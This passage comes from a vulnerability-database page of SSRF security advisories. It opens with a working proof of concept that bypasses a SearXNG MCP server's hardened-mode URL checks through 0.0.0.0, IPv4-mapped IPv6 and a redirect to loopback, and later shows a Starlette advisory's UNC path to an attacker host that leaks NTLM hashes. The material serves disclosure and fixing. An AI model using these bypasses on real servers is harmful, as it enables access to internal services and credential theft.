p.kill()\n\n text = json.dumps(r).replace(\"\\\\\\\\_\", \"_\").replace(\"\\\\_\", \"_\")\n if SENTINEL in text:\n print(\"[poc] RESULT: BYPASS \u2014 sentinel returned\")\n try:\n print(\"[poc] tool returned:\", repr(r[\"result\"][\"content\"][0][\"text\"][:200]))\n except Exception:\n pass\n sys.exit(0)\n\n print(\"[poc] RESULT: blocked / failed\")\n print(json.dumps(r)[:500])\n sys.exit(1)\n\nif __name__ == \"__main__\":\n main()\nPY\n\npython3 /tmp/poc_0_0_0_0.py\n```\n\nObserved:\n\n```text\n[poc] hardened-mode read_url url = \u0027http://0.0.0.0:6789/secret\u0027\n[poc] RESULT: BYPASS \u2014 sentinel returned\n```\n\n### 4. PoC B: IPv4-mapped IPv6\n\n```bash\nsed \u0027s|http://0.0.0.0:6789/secret|http://[::ffff:127.0.0.1]:6789/secret|\u0027 \\\n /tmp/poc_0_0_0_0.py \u003e /tmp/poc_ipv4_mapped_ipv6.py\n\npython3 /tmp/poc_ipv4_mapped_ipv6.py\n```\n\nObserved:\n\n```text\n[poc] hardened-mode read_url url = \u0027http://[::ffff:127.0.0.1]:6789/secret\u0027\n[poc] RESULT: BYPASS \u2014 sentinel returned\n```\n\n### 5. PoC C: redirect from a non-private first-hop address to loopback\n\nThis uses `198.51.100.1` as a safe local stand-in for a non-private attacker-controlled first-hop address.\n\n```bash\nsudo ip addr add 198.51.100.1/32 dev lo\n\ncat \u003e /tmp/redirector_public.py \u003c\u003c\u0027PY\u0027\n#!/usr/bin/env python3\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(302)\n self.send_header(\"Location\", \"http://127.0.0.1:6789/secret\")\n self.send_header(\"Content-Length\", \"0\")\n self.end_headers()\n\n def log_message(self, *args, **kwargs):\n pass\n\nHTTPServer((\"198.51.100.1\", 6790), H).serve_forever()\nPY\n\nfuser -k 6790/tcp 2\u003e/dev/null || true\nnohup python3 /tmp/redirector_public.py \u003e/tmp/searxng_redirector_public.log 2\u003e\u00261 \u0026\nsleep 1\n\ncurl -sSL http://198.51.100.1:6790/jump\n```\n\nThe `curl` sanity check should return the internal sentinel.\n\nNow run the MCP request:\n\n```bash\nsed \u0027s|http://0.0.0.0:6789/secret|http://198.51.100.1:6790/jump|\u0027 \\\n /tmp/poc_0_0_0_0.py \u003e /tmp/poc_redirect_public_to_loopback.py\n\npython3 /tmp/poc_redirect_public_to_loopback.py\n```\n\nObserved:\n\n```text\n[poc] hardened-mode read_url url = \u0027http://198.51.100.1:6790/jump\u0027\n[poc] RESULT: BYPASS \u2014 sentinel returned\n```\n\n### Cleanup\n\n```bash\nfuser -k 6789/tcp 6790/tcp 2\u003e/dev/null || true\nsudo ip addr del 198.51.100.1/32 dev lo 2\u003e/dev/null || true\n```\n\n## Reproduction note\n\n`NodeHtmlMarkdown` escapes `_` to `\\_`, so the sentinel may appear in the MCP response as:\n\n```text\nINTERNAL\\_SECRET\\_DATA\\_\\_mcp\\_searxng\\_ssrf\\_path2\n```\n\nWhen grepping or matching the response, either match against the escaped form or normalize `\\_` back to `_`.\n\n## Expected behavior\n\nWhen hardened mode is enabled and private URLs are not explicitly allowed, `web_url_read` should not be able to fetch loopback or internal resources through:\n\n- direct special-address literals;\n- IPv4-mapped IPv6 literals;\n- redirect chains;\n- hostnames that resolve to private or internal addresses.\n\n## Actual behavior\n\nWith hardened mode enabled, PR #79 blocks the DNS hostname case, but the following still return content from a loopback service:\n\n```text\nhttp://0.0.0.0:6789/secret\nhttp://[::ffff:127.0.0.1]:6789/secret\nhttp://198.51.100.1:6790/jump -\u003e 302 Location: http://127.0.0.1:6789/secret\n```\n\n## Suggested fix\n\nA complete fix likely needs more than a connect-time DNS lookup guard.\n\nSuggested changes:\n\n- Re-validate every redirect hop. One option is to use `redirect: \"manual\"` and apply the same URL policy to each `Location` before following it.\n- Treat `0.0.0.0/8` and other IANA special-purpose ranges as internal/non-public.\n- Handle IPv4-mapped IPv6 after canonicalization, including forms such as `[::ffff:7f00:1]`.\n- Apply private-address checks to IP literals directly, not only through DNS lookup hooks.\n- Use an IP parsing library or byte-level address checks instead of regex-only IPv6 matching.\n- Add regression tests for:\n - redirect to `127.0.0.1`;\n - `0.0.0.0`;\n - `[::ffff:127.0.0.1]`;\n - hostname resolving to `127.0.0.1`;\n - decimal IPv4 normalization remaining blocked.\n```",
"id": "GHSA-wppf-h75h-6pm6",
"modified": "2026-08-19T19:23:16Z",
"published": "2026-08-19T19:23:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ihor-sokoliuk/mcp-searxng/security/advisories/GHSA-wppf-h75h-6pm6"
},
{
"type": "PACKAGE",
"url": "https://github.com/ihor-sokoliuk/mcp-searxng"
},
{
"type": "WEB",
"url": "https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.2.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SearXNG MCP Server: Additional hardened-mode SSRF bypasses"
}
GHSA-WQ27-C6XR-6C38
Vulnerability from github – Published: 2026-09-01 00:31 – Updated: 2026-09-01 00:31A vulnerability was found in hyperledger-firefly firefly up to 1.4.0. The impacted element is the function ValidateOptions of the file internal/events/webhooks/webhooks.go of the component Webhook Subscription. Performing a manipulation of the argument url results in server-side request forgery. Remote exploitation of the attack is possible. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-82957"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-31T22:17:34Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in hyperledger-firefly firefly up to 1.4.0. The impacted element is the function ValidateOptions of the file internal/events/webhooks/webhooks.go of the component Webhook Subscription. Performing a manipulation of the argument url results in server-side request forgery. Remote exploitation of the attack is possible. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-wq27-c6xr-6c38",
"modified": "2026-09-01T00:31:43Z",
"published": "2026-09-01T00:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82957"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-82957"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/879847"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/397306"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/397306/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WQ29-3HM6-R46X
Vulnerability from github – Published: 2022-05-14 03:19 – Updated: 2022-05-14 03:19An SSRF issue was discovered in NmAPI.exe in Ipswitch WhatsUp Gold before 2018 (18.0). Malicious actors can submit specially crafted requests via the NmAPI executable to (1) gain unauthorized access to the WhatsUp Gold system, (2) obtain information about the WhatsUp Gold system, or (3) execute remote commands.
{
"affected": [],
"aliases": [
"CVE-2018-8939"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-05-01T16:29:00Z",
"severity": "CRITICAL"
},
"details": "An SSRF issue was discovered in NmAPI.exe in Ipswitch WhatsUp Gold before 2018 (18.0). Malicious actors can submit specially crafted requests via the NmAPI executable to (1) gain unauthorized access to the WhatsUp Gold system, (2) obtain information about the WhatsUp Gold system, or (3) execute remote commands.",
"id": "GHSA-wq29-3hm6-r46x",
"modified": "2022-05-14T03:19:00Z",
"published": "2022-05-14T03:19:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-8939"
},
{
"type": "WEB",
"url": "https://docs.ipswitch.com/NM/WhatsUpGold2018/01_ReleaseNotes/index.htm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WQ2M-PVCJ-FM24
Vulnerability from github – Published: 2025-12-18 15:30 – Updated: 2025-12-18 15:30The Prime Slider – Addons for Elementor plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.0.9 via the import_elementor_template AJAX action. This makes it possible for authenticated attackers, with subscriber level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2025-14277"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-18T13:15:47Z",
"severity": "MODERATE"
},
"details": "The Prime Slider \u2013 Addons for Elementor plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.0.9 via the import_elementor_template AJAX action. This makes it possible for authenticated attackers, with subscriber level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-wq2m-pvcj-fm24",
"modified": "2025-12-18T15:30:42Z",
"published": "2025-12-18T15:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14277"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3419222/bdthemes-prime-slider-lite"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/069a56a1-ca17-43cc-a51f-51b6111f5b61?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WQP7-X3PW-XC5R
Vulnerability from github – Published: 2026-06-15 20:16 – Updated: 2026-06-15 20:16Summary
When serving static files on Windows, StaticFiles resolves the requested path with os.path.realpath. If a UNC path (such as \\attacker.com\share) reaches the resolver, realpath causes the process to open a connection to the remote host over SMB (port 445). This is a server-side request forgery (SSRF) that leaks the service account's NTLMv2 credentials to the attacker-controlled host, which can then be cracked offline or relayed to other hosts.
Details
StaticFiles.lookup_path() joins the requested path onto the served directory and calls os.path.realpath on the result before checking containment with os.path.commonpath. On Windows, a UNC path is absolute, so os.path.join discards the served directory and realpath resolves the bare UNC path, triggering the outbound SMB connection and NTLM authentication before the containment check rejects the path. The HTTP response is a benign 404, but the credential disclosure has already happened. POSIX systems are not affected.
This only affects the default configuration (follow_symlink=False), which uses os.path.realpath. The follow_symlink=True branch uses os.path.abspath, which performs no I/O.
Impact
Applications running on Windows that serve files with StaticFiles (directly, or via a framework built on Starlette such as FastAPI) in the default configuration are affected. StaticFiles is typically unauthenticated, so any client can trigger the SMB connection and leak the service account's NTLMv2 hash. A secondary impact is discovering internal hosts reachable over SMB by timing responses for valid versus invalid addresses.
Mitigation
Applications not running on Windows are not affected. On Windows, serving static files through a dedicated web server (such as nginx or IIS) instead of StaticFiles avoids the issue. Blocking outbound SMB (port 445) from the application host prevents the credential disclosure even if a UNC path is resolved.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "starlette"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48818"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:16:30Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nWhen serving static files on Windows, `StaticFiles` resolves the requested path with [`os.path.realpath`](https://docs.python.org/3/library/os.path.html#os.path.realpath). If a UNC path (such as `\\\\attacker.com\\share`) reaches the resolver, `realpath` causes the process to open a connection to the remote host over SMB (port 445). This is a server-side request forgery (SSRF) that leaks the service account\u0027s NTLMv2 credentials to the attacker-controlled host, which can then be cracked offline or relayed to other hosts.\n\n### Details\n\n`StaticFiles.lookup_path()` joins the requested path onto the served directory and calls [`os.path.realpath`](https://docs.python.org/3/library/os.path.html#os.path.realpath) on the result before checking containment with [`os.path.commonpath`](https://docs.python.org/3/library/os.path.html#os.path.commonpath). On Windows, a UNC path is absolute, so [`os.path.join`](https://docs.python.org/3/library/os.path.html#os.path.join) discards the served directory and `realpath` resolves the bare UNC path, triggering the outbound SMB connection and NTLM authentication before the containment check rejects the path. The HTTP response is a benign 404, but the credential disclosure has already happened. POSIX systems are not affected.\n\nThis only affects the default configuration (`follow_symlink=False`), which uses [`os.path.realpath`](https://docs.python.org/3/library/os.path.html#os.path.realpath). The `follow_symlink=True` branch uses [`os.path.abspath`](https://docs.python.org/3/library/os.path.html#os.path.abspath), which performs no I/O.\n\n### Impact\n\nApplications running on Windows that serve files with `StaticFiles` (directly, or via a framework built on Starlette such as FastAPI) in the default configuration are affected. `StaticFiles` is typically unauthenticated, so any client can trigger the SMB connection and leak the service account\u0027s NTLMv2 hash. A secondary impact is discovering internal hosts reachable over SMB by timing responses for valid versus invalid addresses.\n\n### Mitigation\n\nApplications not running on Windows are not affected. On Windows, serving static files through a dedicated web server (such as nginx or IIS) instead of `StaticFiles` avoids the issue. Blocking outbound SMB (port 445) from the application host prevents the credential disclosure even if a UNC path is resolved.",
"id": "GHSA-wqp7-x3pw-xc5r",
"modified": "2026-06-15T20:16:30Z",
"published": "2026-06-15T20:16:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/starlette/security/advisories/GHSA-wqp7-x3pw-xc5r"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kludex/starlette"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Starlette: SSRF and NTLM credential theft via UNC paths in StaticFiles on Windows"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.